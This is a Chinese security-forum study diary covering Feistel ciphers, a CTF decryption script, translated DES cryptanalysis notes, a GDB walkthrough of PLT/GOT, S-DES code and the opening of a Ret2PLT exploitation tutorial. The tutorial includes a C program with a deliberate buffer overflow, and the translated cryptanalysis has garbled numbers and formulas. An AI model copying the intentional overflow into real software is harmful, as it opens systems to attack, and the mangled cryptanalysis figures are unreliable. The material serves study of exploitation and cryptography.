安全矩阵

 找回密码
 立即注册
搜索
楼主: ethereel

李文艺学习日记

[复制链接]

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-3-3 01:03:59 | 显示全部楼层
本帖最后由 ethereel 于 2020-3-6 17:26 编辑

电脑网络出错,明天修好了补
03.03 美赛班week2模拟题ing…
03.06-03.10 美赛week2
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-3-30 03:25:23 | 显示全部楼层
本帖最后由 ethereel 于 2020-3-30 03:29 编辑

feistal密码



0X01 分组密码

​ 分组密码是将明文消息编码后的数字序列划分成长为N的分组(长为N的矢量),分别在密钥k=(k0,k1,…kt-1)的控制下变换成等长的输出数字序列(这个序列是长为M的向量,即输入和输出分组的长度可以不同)。它与流密码的不同在于输出的每一位数字不仅与相应时刻输入的明文数字有关,而是与一组长为n的明文数字有关。分组密码的本质实际上是字长为n的数字序列的代换密码。

​ 为保证安全性,设计的算法应满足要求:

1.分组长度n要足够大,防止明文穷举攻击奏效。

2.密钥量要足够大(即向量k要足够长),并且尽可能消除弱的密钥,使所有密钥同等的好,防止密钥穷举攻击奏效。但密钥本身又不能过长,否则难以管理。

3.由密钥确定置换的算法要足够复杂,以抵抗差分攻击和线性攻击。

4.加解密运算简单且易于实现。

5.数据扩展和差错传播尽可能小 。

0X02代换密码


​ 如果明文和密文分组的长都为n比特,则显然每个明文分组都对应有2^n个可能的取值。为了保证加密运算可逆(否则无法解密,因为分组密码是单钥密码),明文的每个分组在特定加密算法作用之后应当产生唯一的一个密文分组,称明文分组到密文分组的可逆变换为代换。 可以知道,不同可逆变换的个数有(2^n)!个 ,也就意味着密钥的长度为(2^n)!比特。

PS:从实现的角度看,分组长度很大的可逆代换是不实际的。即便分组长度仅为64比特,对应的密钥长度也将约为10^21比特,非常难以处理;然而长度太小又不能满足上述关于算法安全性的第一条要求。因此,实际中常将分组分为较小的子段,例如可将n长向量的代换变为设计m个较小的子代换,称每个子代换为代换盒,简称为S盒。例如,对于48比特输入的DES密码,用8个S盒来实现,这样每个S盒的输入仅为6比特。

0X03扩散和混肴


目的:扩散和混淆的目的是抗击敌手对密码系统的统计分析。如果敌手知道明文的某些统计特性(如不同字母出现的频率,特定的单词或短语),而这些统计特性如果以某种方式在密文中反映了出来,那么敌手就有可能得到加密密钥的一部分或一个可能的密钥集合。因此需要引入扩散和混淆的方法。

​ 所谓扩散,就是将明文的统计特性扩散到密文中去,实现方式是使得密文的每一位由明文中的多位产生。这样明文的统计特性就被散布开了,因而在密文中每一字母出现的概率将更接近于相等,使敌手难以通过统计分析得到有用的信息。

​ 所谓混淆,就是使密文和密钥之间的统计关系变得尽可能复杂,使敌手无法得到密钥。这样敌手即便得到了密文之间的某些统计关系,也难以得到密钥。

0X04Feistel密码结构


大多数分组密码的结构本质上都是基于Feistel网络结构 。

4.1Feistel加密结构


Feistel加密算法的输入是长为2w的明文和一个密钥K=(K1,K2…,Kn)。将明文分组分成左右两半L和R,然后进行n轮迭代,迭代完成后,再将左右两半合并到一起以产生密文分组。其第i轮迭代的函数为:
其中Ki是第i轮的子密钥,“+”表示异或运算,F表示轮函数。一般地,各轮子密钥彼此各不相同,且轮函数F也各不相同。代换过程完成后,在交换左右两半数据,这一过程称为置换。Feistel网络的结构如下:




4.2证明feistel加密是feistel解密的逆过程


1. 加密过程是:明文m = LE0||RE0,进行n轮迭代。


按下列规则计算LEn||REn,1≤i≤n,轮函数为F


LEi = REi-1


REi = LEi-1⊕F(REi-1,Ki)


进行n 轮迭代运算后,得LEn和REn,输出密文c = REn||LEn。


2. 解密过程与加密过程采用相同的算法:密文分组c = REn||LEn = LD0||RD0。


按下述规则计算LDn||RDn,1≤i≤n,轮函数为F


LDi = RDi-1


RDi = LDi-1⊕F(RDi-1,Kn-i+1),


进行n 轮迭代运算后,得LDn和RDn,输出明文m = RDn||LDn。


3. 这里只要证明RDn =LE0和LDn =RE0即可。显然,LD0= REn且RD0 = LEn,根据加、解密规则,有


LD1 = RD0 = LEn = REn-1,RD1 =LD0⊕F(RD0,Kn) = REn⊕F(LEn,Kn) = LEn-1


LD2 = RD1 = LEn-1 = REn-2,RD2 = LD1⊕F(RE1,Kn-1) = REn-1⊕F(LEn-1,Kn-1) = LEn-2


以此推到下去,有:


LDn-1 = RDn-2 = LE2 = RE1,RDn-1 = LDn-2⊕F(RDn-2,K2) = RE2⊕F(LE2,K2) = LE1


LDn= RDn-1 = LE1 = RE0,RDn = LDn-1⊕F(RDn-1,K1)  = RE1⊕F(LE1,K1) = LE0


因此
REi-1=LEi
LEI-1=REiF(REi-1,Ki)=REiF(LEi, Ki)

4.3Feistel网络的安全性参数

1.分组大小

2.密钥大小

3.子密钥产生算法 该算法复杂性越高,则密码分析越困难(ps:并非加密算法,Feistel网络结构本身就是加密算法或其重要组成部分,是无需保密的)。

4.轮数 单轮结构远不足以保证安全,一般轮数取为16。

5.轮函数 结构越复杂越难分析

4.4Feistel解密结构
​ 本质上与加密过程一样,将密文作为输入,以相反次序使用子密钥,保证加密和解密可以采用同一算法。以16轮加密为例,在加密过程中,LE16=RE15,那么在解密过程中,LD1=RD0=LE16=RE15,其中E表示加密(Encode),D表示解密(Decode)。


0X05 例题

H4ckIT CTF 2016 : ninja-scheme-195

General Tompson welcomes you...again! We have some crypto-problem here...again. Our scouts have intercepted this enemy cryptogram: dd67ca82d358f0c8479e118addcec2f8ce086c0f6f239f9b66d7226a38c68198dbd777f366fb9fd83b60d11109be174759c75ea56a4866c2 Some time later our IT-ninjas have broken into the enemy computer system and grabbed something pretty much similar to undefined encryption algorithm scheme. Look at this grabbed scheme and help us to understand how it works. Yours, Gen. Tompson
writeup:



  1. #!/usr/bin/env python
  2. # coding=utf-8
  3. def slice(s,size):
  4. return [s[i:i+size] for i in range(0,len(s),size)]
  5. #print slice("abcdefghijklmnop",4)
  6. #['abcd'.'efgh','ijkl','mnop']
  7. def xor(a,b):
  8. return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])
  9. #print xor('AAAABBBB','11112222')
  10. #pppppppp
  11. def f(L,n):
  12. ans = ""
  13. for i in range(len(L)):
  14. ans += chr((ord(L[i]) + n) % 256)
  15. return ans
  16. def decrypt(cipher,rounds):
  17. assert len(cipher) == 8
  18. r = cipher[4:]
  19. l = cipher[:4]
  20. tmp = l
  21. l = r
  22. r = tmp
  23. for n in reversed(range(1,rounds + 1)):
  24. tmp = l
  25. l = r
  26. r = xor(tmp,f(r,n))
  27. return l + r
  28. cipher = "dd67ca82d358f0c8479e118addcec2f8ce086c0f6f239f9b66d7226a38c68198dbd777f366fb9fd83b60d11109be174759c75ea56a4866c2"
  29. cipher = slice(cipher.decode("hex"),8)
  30. for i in range(1000):
  31. plain = decrypt(cipher[0],i)
  32. if plain.find("h4ck1t") >= 0:
  33. print "rounds = ",i
  34. rounds = i
  35. flag = ""
  36. for c in cipher:
  37. flag += decrypt(c,rounds)
  38. print flag
复制代码






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-3-31 01:11:36 | 显示全部楼层
试译

Differential and Linear Cryptanalysis of DES

第一部分


N.1差分密码分析
DES的差分密码分析是由Biham和Shamir发明的。在这个密码分析中,入侵者专注于选择明文攻击。分析使用通过密码传播输入差异。这里的术语差异是指两个不同输入(明文)的异或。换句话说,入侵者分析P⊕P'是如何通过轮传播的。
概率关系
差分密码分析的思想是基于输入差分和输出差分之间的概率关系。分析中有两个关系特别重要:微分剖面和轮型特征,如图N.1所示。
N.1DES的微分轮廓和圆特性
微分剖面
差分剖面(或异或剖面)表示S盒的输入差分和输出差分之间的概率关系。我们在第5章中讨论了一个简单的S盒的这个剖面(见表5.5)。可以为DES中的八个S-box中的每一个创建类似的配置文件。
圆形特征
圆形特征与差分外形相似,但为整轮计算。该特征表示一个输入差产生一个输出差的概率。注意,每轮的特征都是相同的,因为任何涉及差异的关系都独立于round键。图N.2显示了四种不同的轮的特征。

                                          N.2差分密码分析的若干轮特征
尽管我们可以为一轮DES显示许多特征,但图N.2只显示了其中的四个。在每个特征中,我们将输入差异和输出差异分为左右两部分。每一个左右差是由32位或8位十六进制数字组成的。所有这些特性都可以用一个程序来证明,该程序可以在一轮DES中找到输入/输出关系。图N.2a显示(x,0000000016)的输入差产生(x,0000000016)的输出差,概率为1。图N.2b显示了与图N.2a相同的特性,只是左右输入和输出被交换;概率将发生巨大变化。图N.2c显示(4008000016,0400000016)的输入差产生概率为1/4的输出差(0000000016,400000016)。最后,图N.2d显示了输入差(0000000016,0000000)以14/64的概率产生输出差(0080820016,00000016)。                                                                                               
三轮特征
在创建和存储单轮特性之后,分析器可以组合不同的轮以创建多轮特性。图N.3显示了一个三轮DES的情况。
file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image005.gif


                                                N.3差分密码分析的三轮特征
在图N.3中,我们使用了三个混合器,只有两个交换器,因为上一轮不需要交换器,如第5章所述。第一轮和第三轮混频器中显示的特性与图N.2b中的特性相同。第二轮混频器的特性与图N.2a中的特性相同。非常有趣的一点是,在这种特殊情况下,输入和输出的差异是相同的(∏L=∏L和∏R=∏R)。3030
十六轮特征
一个十六轮密码可以编译许多不同的特性。图N.4显示了一个例子。在这个图中,一个完整的DES密码由八个两个圆形部分组成。每个部分使用图N.2中的特性a和b。很明显,如果最后一轮缺少交换器,则输入(x,0)以概率(1/234)创建输出(0,x)。
攻击
为了举例,让我们假设Eve使用图N.4的特征来攻击16轮DES。Eve莫名其妙地诱使Alice以(x,0)的形式加密许多明文,其中左半部分是x(不同的值),右半部分是0。然后,Eve以(0,x)的形式保存从Alice收到的所有密文。注意这里的0表示0000000016。

                                          N.4差分密码分析的16轮特征
查找密码密钥
在差分密码分析中,入侵者的最终目标是找到密码密钥。这可以通过查找从下到上的圆形键(K to K)来完成。
找到最后一轮密钥
如果入侵者有足够的明文/密文对(每个都有不同的x值),她可以在最后一轮中使用0=f(K,x)的关系来查找K中的一些位。这可以通过查找使这种关系更可能存在的最可能值来完成。
寻找其他轮的密钥
其他轮的密钥可以使用其他特征或使用暴力破解找到。
安全性
结果发现,攻击16轮DES需要2对选择的明文/密文对。在现实生活中,要找到这么多被选中的对是极其困难的。这意味着DES不易受到此类攻击。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-1 03:21:26 | 显示全部楼层
本帖最后由 ethereel 于 2020-4-1 03:48 编辑

试译


Differential and Linear Cryptanalysis of DES


第二部分



N. 2线性密码分析
松井对DES进行了线性密码分析。这是已知的明文攻击。分析使用特定比特集通过密码的传播。
线性关系
线性密码分析集中于线性关系。在这个密码分析中,两组关系特别有趣:线性轮廓和圆形特征,如图N.5所示。
                                                N.5 DES的线轮廓和圆特征


a.线性曲线                                                       b.圆特性

线性剖面
线性曲线表示S盒的输入和输出之间的线性程度。我们在第5章中看到,在S盒中,每个输出位是所有输入位的函数。如果每个输出位是所有输入位的非线性函数,则在S盒中实现所需的特性。不幸的是,这种理想情况在DES中并不存在;一些输出位是一些输入位组合的线性函数。换句话说,可以找到输入/输出位的一些组合,这些组合可以用线性函数相互映射。线性曲线表示输入和输出之间的线性(或非线性)程度。密码分析可以创建八个不同的表,每个S盒一个,其中第一列显示6位输入的可能组合,00到3F,第一行显示4位输出的可能组合,0到F。条目显示线性(或基于设计的非线性)。我们不能深入研究如何测量线性度的细节,但是线性度高的条目对密码分析很有意思。
轮特征
线性密码分析中的轮特征表示输入位、轮密钥位和显示线性关系的输出位的组合。图N.6显示了两种不同的圆形特征。用于每种情况的符号定义了必须排他或放在一起的位。例如,O(7、8、24、29)表示从函数中出来的第7、8、24和29位的异或;K(22)表示在round key中的第22位;I(15)表示进入函数的第15位。

                                          N.6线性密码分析的若干圆特征

下面显示了图N.6中使用单个位的a和b部分的关系。
a部分:O(7)⊕O(8)⊕O(24)⊕O(29)=I(15)⊕K(22)
b部分:F(15)=I(29)⊕K(42)⊕K(43)⊕K(45)⊕K(46)
三轮特征
在创建和存储单轮特征之后,分析器可以组合不同的轮以创建多轮特征。图N.7显示了一个三轮DES的情况,其中第1轮和第3轮使用与图N.6a所示相同的特征,而第2轮使用任意特征。
                                          N.7线性密码分析的三轮特征

线性密码分析的目标是在明文、密文和密钥中的某些位之间找到线性关系。让我们看看是否可以为图N.7所示的3轮DES建立这样的关系。
第一轮:R(7,8,24,29)=L(7,8,24,29)⊕R(15)⊕K(22)1001
3轮:L(7,8,24,29)=L(7,8,24,29)⊕R(15)⊕K(22)3223
但L与R相同,R与R相同。在第二个关系式中,将L替换为R,R替换为R后,我们得到:21232123
L(7,8,24,29)=R(7,8,24,29)⊕R(15)⊕K(22)313 3
在第1轮中,我们可以用其等价值替换R,结果是:1
L(7,8,24,29)=L(7,8,24,29)⊕R(15)⊕K(22)⊕R(15)⊕K(22)30013 3
这是重新排序后整个三轮的输入和输出位之间的关系:

L(7,8,24,29)⊕R(15)=L(7,8,24,29)⊕R(15)⊕K(22)⊕K(22)330013
换句话说,我们
C(7,8,15,24,29)=P(7,8,15,24,29)⊕K(22)⊕K(22)13
概率
一个有趣的问题是如何找到三轮(或n轮)DES的概率。松井证明了在这种情况下

其中n为轮数,p为每轮特征的概率,p为总概率。例如,图N.7中三轮分析的总概率为
P=1/2+2[(52/64~-1/2)×(1~-1/2)×(52/64~-1/2)]≈0.6953−1
十六轮特征
还可以编译16轮特征,以在一些明文比特、一些密文比特和轮键中的一些比特之间提供线性关系。
C(一些位)=P(一些位)⊕K(一些位)⊕…⊕K(一些位)116
攻击
在发现并存储一些明文位、密文位和轮键之间的许多关系之后。Ev可以访问一些明文/密文对(已知的明文攻击),并使用存储特征中的相应位来查找轮键中的位。
安全性
结果发现,攻击16轮DES需要2对已知的明文/密文对。线性密码分析看起来比差分密码分析更可能有两个原因。首先,步数较小。其次,发起已知的明文攻击比选择的明文攻击更容易。然而,这次袭击还远远不是对DES的一次严肃对待。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-2 01:51:13 | 显示全部楼层
本帖最后由 ethereel 于 2020-4-2 01:52 编辑

使用debugger工具反映PLT和GOT的使用
[color=rgb(44, 63, 81) !important] 下面我们使用GDB工具来详细分析printf函数调用过程。
1 编译
  1. gcc -g -o hello hello.c
复制代码
2 printf函数的调用
[color=rgb(44, 63, 81) !important] printf函数的相关代码变化:
1. 在
编译过程分析中,我们看到调用printf函数被编译成了汇编指令e8 00 00 00 00 callq e ,其中,e是一个占位符,它所在的位置就应该printf函数的地址。
  • 类似于链接过程分析中的方法(objdump -d hello),我们发现在最终的可执行文件中,调用printf函数的指令变成了e8 cc fe ff ff callq 400400 <puts@plt>,printf函数的地址表示成了0x400400,查看对应位置的代码(如下代码),发现这里属于.plt section,似乎并非是printf函数真正的实现。
3 进入printf的PLT
  1. $ gdb hello
  2. GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
  3. Copyright (C) 2016 Free Software Foundation, Inc.
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  5. This is free software: you are free to change and redistribute it.
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
  7. and "show warranty" for details.
  8. This GDB was configured as "x86_64-linux-gnu".
  9. Type "show configuration" for configuration details.
  10. For bug reporting instructions, please see:
  11. <http://www.gnu.org/software/gdb/bugs/>.
  12. Find the GDB manual and other documentation resources online at:
  13. <http://www.gnu.org/software/gdb/documentation/>.
  14. For help, type "help".
  15. Type "apropos word" to search for commands related to "word"...
  16. Reading symbols from hello...done.
  17. (gdb)
  18. 查看main函数的反汇编指令:

  19. (gdb) disassemble main
  20. Dump of assembler code for function main:
  21.    0x0000000000400526 <+0>:     push   %rbp
  22.    0x0000000000400527 <+1>:     mov    %rsp,%rbp
  23.    0x000000000040052a <+4>:     mov    $0x4005c4,%edi
  24.    0x000000000040052f <+9>:     callq  0x400400 <puts@plt>
  25.    0x0000000000400534 <+14>:    mov    $0x0,%eax
  26.    0x0000000000400539 <+19>:    pop    %rbp
  27.    0x000000000040053a <+20>:    retq
  28. End of assembler dump.
  29. 当执行到printf函数时,代码会跳转到0x400400处。在0x400400处设置断点,然后运行程序:

  30. (gdb) b *main-294
  31. Breakpoint 1 at 0x400400
  32. (gdb) r
  33. Starting program: /home/xxxxxx/sync/csapp/hello/hello

  34. Breakpoint 1, 0x0000000000400400 in puts@plt ()
复制代码


[color=rgb(44, 63, 81) !important] 使用GDB运行可执行程序hello:跳转到0x400400处, 根据puts@plt的反汇编代码,将会跳转到0x601018(.GOT.PLT[3])续执行。使用GDB查看它里面存放的内容:
  1. (gdb) x/2xw 0x601018
  2. 0x601018:       0x00400406      0x00000000
复制代码

[color=rgb(44, 63, 81) !important]由此可见,下一步将执行的是0x00400406处的指令,其实就是顺序执行puts@plt的代码,然后继续向下执行,根据反汇编,将会跳转到0x004003f0(puts@plt-0x10)。
4 进入公共PLT(.PLT[0])
  1. (gdb) b *main-304
  2. Breakpoint 2 at 0x4003f6
  3. (gdb) c
  4. Continuing.

  5. Breakpoint 2, 0x00000000004003f6 in ?? ()
  6. (gdb) x/2xw 0x601010
  7. 0x601010:       0xf7dee870      0x00007fff
复制代码


[color=rgb(44, 63, 81) !important] 结合上面的反汇编,进入puts@plt-0x10之后,先做一次压栈操作,然后跳转到0x601010,使用GDB在0x4003f6设置断点,然后运行程序,查看0x601010的内容:可以看到下一步将调用0x00007ffff7dee870处的代码。
5 调用_dl_runtime_resolve_avx函数
[color=rgb(44, 63, 81) !important]将其反汇编得到下面的结果:
  1. (gdb) disassemble 0x00007ffff7dee870
  2. Dump of assembler code for function _dl_runtime_resolve_avx:
  3.    0x00007ffff7dee870 <+0>:     push   %rbx
  4.    0x00007ffff7dee871 <+1>:     mov    %rsp,%rbx
  5.    0x00007ffff7dee874 <+4>:     and    $0xffffffffffffffe0,%rsp

  6. ...
复制代码

[color=rgb(44, 63, 81) !important]可以看到,进入_dl_runtime_resolve_avx函数中,经过google得知,这个函数是包含于动态链接器的代码。它的主要工作是:找到调用它的函数的真实地址,并将它填入到该函数对应的GOT中。对于本例来讲,就是在将Glibc库加载到内存之后,把其中的printf函数的地址填充到.GOT.PLT[3]中,然后返回
[color=rgb(44, 63, 81) !important] 我们来验证一下,在调用完printf处(0x400534)设置断点,然后继续执行并查看.GOT.PLT[3]的值:
  1. (gdb) b *main+14
  2. Breakpoint 3 at 0x400534: file hello.c, line 6.
  3. (gdb) c
  4. Continuing.
  5. hello, world

  6. Breakpoint 3, main () at hello.c:6
  7. 6               return 0;
  8. (gdb) x/2xw 0x601018
  9. 0x601018:       0xf7a7c690      0x00007fff
  10. (gdb) disassemble 0x00007ffff7a7c690
  11. Dump of assembler code for function _IO_puts:
  12.    0x00007ffff7a7c690 <+0>:     push   %r12
  13.    0x00007ffff7a7c692 <+2>:     push   %rbp

  14. ···
复制代码

[color=rgb(44, 63, 81) !important]可以看到.GOT.PLT[3]指向了0x00007ffff7a7c690,而0x00007ffff7a7c690对应的代码正是printf函数的代码。

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-3 01:20:29 | 显示全部楼层
DES中S盒算法在密码学中,S盒(Substitution-box)是对称密钥算法执行置换计算的基本结构。S盒用在分组密码算法中,是唯一的非线性结构,其S盒的指标的好坏直接决定了密码算法的好坏。——百度百科
S盒有8个盒子,下表是DES算法中S4盒的选择矩阵,如果其输入为101011,求输出结果。



解:已知输入为101011
(1)、取头尾11,进行二进制转换为十进制为3,表示取表格的第3行



(2)、然后中间0101,进行二进制转换为十进制为5,表示取表格的第五列



(3)、(3,5)对应表格中的数字是12,12转换为二进制就是1100


因此如果该盒输入为101011则输出的结果为1100


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-4 01:21:02 | 显示全部楼层
S-DES加密算法流程概述&代码


算法概述:


先生成密钥:
1. 需要产生两个密钥,输入的10位密钥,然后进行P10置换(类似于DES中的IP置换),将结果分为两组,设为L和R;
2. 两组分别进行循环左移1位操作,得到L1和R1;
3. 将L1和R1合并,并将合并的数据经过P8置换,得到8位的密钥K1;
4. L1和R1再次进行循环左移2位操作,得到L2和R2;
5. 将L2和R2进行合并,并将合并的数据通过P8置换,得到8位的密钥K2;

明文加密:
1. 对8位明文M0进行IP置换,得到M1;
2. 将M1分为两部分M1L和M1R,然后将M1L和M1R代入到fk中进行变换
3. 在fk中,首先对M1R通过E/P扩展变换将四位M1R扩展位八位,然后这八位同密钥K1进行模2加运算,将得到的结果分为两部分并且分别通过S0和S1进行和变换,变换后每一部分只剩2位。这两位进行合并,通过P4变换得四位的M1RP,然后将M1RP和M1L进行模2加运算得到四位的L,然后将L同M1R进行合并得到M2。
4. 然后将M2通过SW变换,即将其高四位和低四位进行交换。
5. 再通过fk函数(过程同3)
6. 再通过IP-1变换得到八位密文。

解密的时候其实就是把密钥使用的顺序颠倒一下。



  1. #include <iostream>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. using namespace std;
  6. int S1[4][4][2]={{{0,1},{0,0},{1,1},{1,0}},
  7.                  {{1,1},{1,0},{0,1},{0,0}},
  8.                  {{0,0},{1,0},{0,1},{1,1}},
  9.                  {{1,1},{0,1},{0,0},{1,0}}};
  10. int S2[4][4][2]={{{0,0},{0,1},{1,0},{1,1}},
  11.                  {{1,0},{0,0},{0,1},{1,1}},
  12.                  {{1,1},{1,0},{0,1},{0,0}},
  13.                  {{1,0},{0,1},{0,0},{1,1}}};
  14. void createkey(int k[11],int k1[9],int k2[9])
  15. {
  16.     int temp[11];
  17.     temp[1]=k[3],temp[2]=k[5],temp[3]=k[2],temp[4]=k[7],temp[5]=k[4],temp[6]=k[10],temp[7]=k[1],temp[8]=k[9],temp[9]=k[8],temp[10]=k[6];
  18.     int l[6],r[6];
  19.     for(int i=1;i<=5;i++)
  20.         l[i]=temp[i],r[i]=temp[i+5];
  21.     int x1,x2,x3,x4;
  22.     x1=l[1],x2=r[1];
  23.     for(int i=2;i<=5;i++)
  24.         l[i-1]=l[i],r[i-1]=r[i];
  25.     l[5]=x1;
  26.     r[5]=x2;
  27.     for(int i=1;i<=5;i++)
  28.         temp[i]=l[i],temp[i+5]=r[i];
  29.     k1[1]=temp[6],k1[2]=temp[3],k1[3]=temp[7],k1[4]=temp[4],k1[5]=temp[8],k1[6]=temp[5],k1[7]=temp[10],k1[8]=temp[9];
  30.     x1=l[1],x2=l[2],x3=r[1],x4=r[2];
  31.     for(int i=2;i<=5;i++)
  32.         l[i-2]=l[i],r[i-2]=r[i];
  33.     l[4]=x1,l[5]=x2;
  34.     r[4]=x3,r[5]=x4;
  35.     for(int i=1;i<=5;i++)
  36.         temp[i]=l[i],temp[i+5]=r[i];
  37.     k2[1]=temp[6],k2[2]=temp[3],k2[3]=temp[7],k2[4]=temp[4],k2[5]=temp[8],k2[6]=temp[5],k2[7]=temp[10],k2[8]=temp[9];
  38. }
  39. void f(int R[],int K[])
  40. {
  41.     int temp[9];
  42.     temp[1]=R[4],temp[2]=R[1],temp[3]=R[2],temp[4]=R[3],temp[5]=R[2],temp[6]=R[3],temp[7]=R[4],temp[8]=R[1];
  43.     for(int i=1;i<=8;i++)
  44.         temp[i]=temp[i]^K[i];
  45.     int s1[5],s2[5];
  46.     for(int i=1;i<=4;i++)
  47.         s1[i]=temp[i],s2[i]=temp[i+4];
  48.     int x1=S1[s1[1]*2+s1[4]][s1[2]*2+s1[3]][0],x2=S1[s1[1]*2+s1[4]][s1[2]*2+s1[3]][1];
  49.     int x3=S2[s2[1]*2+s2[4]][s2[2]*2+s2[3]][0],x4=S2[s2[1]*2+s2[4]][s2[2]*2+s2[3]][1];
  50.     R[1]=x2,R[2]=x4,R[3]=x3,R[4]=x1;
  51. }
  52. void Encode(int x,int k1[],int k2[])
  53. {
  54.     int ming[9];
  55.     for(int i=8;i>=1;i--)
  56.     {
  57.         ming[i]=x%2;
  58.         x/=2;
  59.     }
  60.     int temp[9];
  61.     temp[1]=ming[2],temp[2]=ming[6],temp[3]=ming[3],temp[4]=ming[1],temp[5]=ming[4],temp[6]=ming[8],temp[7]=ming[5],temp[8]=ming[7];
  62.     int L0[5],R0[5],L1[5],R1[5],L2[5],R2[5];
  63.     for(int i=1;i<=4;i++)
  64.         L0[i]=temp[i],R0[i]=temp[i+4];
  65.     memcpy(L1,R0,sizeof(L1));
  66.     f(R0,k1);
  67.     for(int i=1;i<=4;i++)
  68.         R1[i]=L0[i]^R0[i];
  69.     memcpy(R2,R1,sizeof(R2));
  70.     f(R1,k2);
  71.     for(int i=1;i<=4;i++)
  72.         L2[i]=L1[i]^R1[i];
  73.     temp[1]=L2[4],temp[2]=L2[1],temp[3]=L2[3],temp[4]=R2[1],temp[5]=R2[3],temp[6]=L2[2],temp[7]=R2[4],temp[8]=R2[2];
  74.     printf("加密后二进制为:");
  75.     int ans=0;
  76.     for(int i=1;i<=8;i++)
  77.         {
  78.             ans+=temp[i]*(1<<(8-i));
  79.             printf("%d",temp[i]);
  80.         }
  81.     printf("\n");
  82.     printf("加密后对应字母为:%c\n",ans);
  83. }
  84. void Decode(int x,int k1[],int k2[])
  85. {
  86.     int ming[9];
  87.     for(int i=8;i>=1;i--)
  88.     {
  89.         ming[i]=x%2;
  90.         x/=2;
  91.     }
  92.     int temp[9];
  93.     temp[1]=ming[2],temp[2]=ming[6],temp[3]=ming[3],temp[4]=ming[1],temp[5]=ming[4],temp[6]=ming[8],temp[7]=ming[5],temp[8]=ming[7];
  94.     int L0[5],R0[5],L1[5],R1[5],L2[5],R2[5];
  95.     for(int i=1;i<=4;i++)
  96.         L2[i]=temp[i],R2[i]=temp[i+4];
  97.     memcpy(R1,R2,sizeof(R1));
  98.     f(R2,k2);
  99.     for(int i=1;i<=4;i++)
  100.         L1[i]=L2[i]^R2[i];
  101.     memcpy(R0,L1,sizeof(R0));
  102.     f(L1,k1);
  103.     for(int i=1;i<=4;i++)
  104.         L0[i]=R1[i]^L1[i];
  105.     temp[1]=L0[4],temp[2]=L0[1],temp[3]=L0[3],temp[4]=R0[1],temp[5]=R0[3],temp[6]=L0[2],temp[7]=R0[4],temp[8]=R0[2];
  106.     printf("解密后二进制为:");
  107.     int ans=0;
  108.     for(int i=1;i<=8;i++)
  109.         {
  110.             ans+=temp[i]*(1<<(8-i));
  111.             printf("%d",temp[i]);
  112.         }
  113.     printf("\n");
  114.     printf("解密后对应字母为:%c\n",ans);
  115. }
  116. int main()
  117. {
  118.     int k[11],k1[9],k2[9];
  119.     printf("请输入主密钥K:");
  120.     for(int i=1;i<=10;i++)
  121.         scanf("%1d",&k[i]);
  122.     createkey(k,k1,k2);
  123.     char ming[2];
  124.     printf("请输入明文:");
  125.     scanf("%s",ming);
  126.     Encode(ming[0],k1,k2);
  127.     printf("请输入密文:");
  128.     char mi[2];
  129.     scanf("%s",mi);
  130.     Decode(mi[0],k1,k2);
  131.     return 0;
  132. }
复制代码

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-4-5 00:08:38 | 显示全部楼层
本帖最后由 ethereel 于 2020-4-5 00:26 编辑

试译:


使用Ret2PLT绕过ASLR/NX


在开始此部分之前,请确保已重新启用ASLR。可以通过运行以下命令来执行此操作。
  1. ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ <font color="rgb(86, 177, 255)" data-darkreader-inline-color="" style="--darkreader-inline-color:#56b6ff;">echo</font> 2 <font color="rgb(223, 100, 112)" data-darkreader-inline-color="" style="--darkreader-inline-color:#df6470;">|</font>sudo tee /proc/sys/kernel/randomize_va_space2
复制代码

最后,我们启用了两种保护:ASLR和NX。首先,这将是本节的第一个目标:
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <unistd.h>

  4. void show_time() {
  5.     system("date");
  6.     system("cal");
  7. }

  8. void vuln() {
  9.     char buffer[64];
  10.     read(0, buffer, 92);
  11.     printf("Your name is %s\n", buffer);
  12. }

  13. int main() {
  14.     puts("Welcome to the Matrix.");
  15.     puts("The sheep are blue, but you see red");
  16.     vuln();
  17.     puts("Time is very important to us.");
  18.     show_time();
  19. }
复制代码

执行这个二进制文件:
  1. amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock
  2. Welcome to the Matrix.
  3. The sheep are blue, but you see red
  4. AAAA
  5. Your name is AAAA

  6. Time is very important to us.
  7. Fri Jan 13 22:33:13 SGT 2017
  8.     January 2017
  9. Su Mo Tu We Th Fr Sa
  10. 1  2  3  4  5  6  7
  11. 8  9 10 11 12 13 14
  12. 15 16 17 18 19 20 21
  13. 22 23 24 25 26 27 28
  14. 29 30 31
复制代码

现在ASLR已经启用,我们有一个问题。我们再也不能确定libc的映射位置。然而,这就引出了一个问题:既然二进制文件是随机的,那么二进制文件如何知道它们的地址呢?答案在于所谓的全局偏移表(Global Offset Table)和过程链接表(Procedure Linkage Table)。
全局偏移表GOT
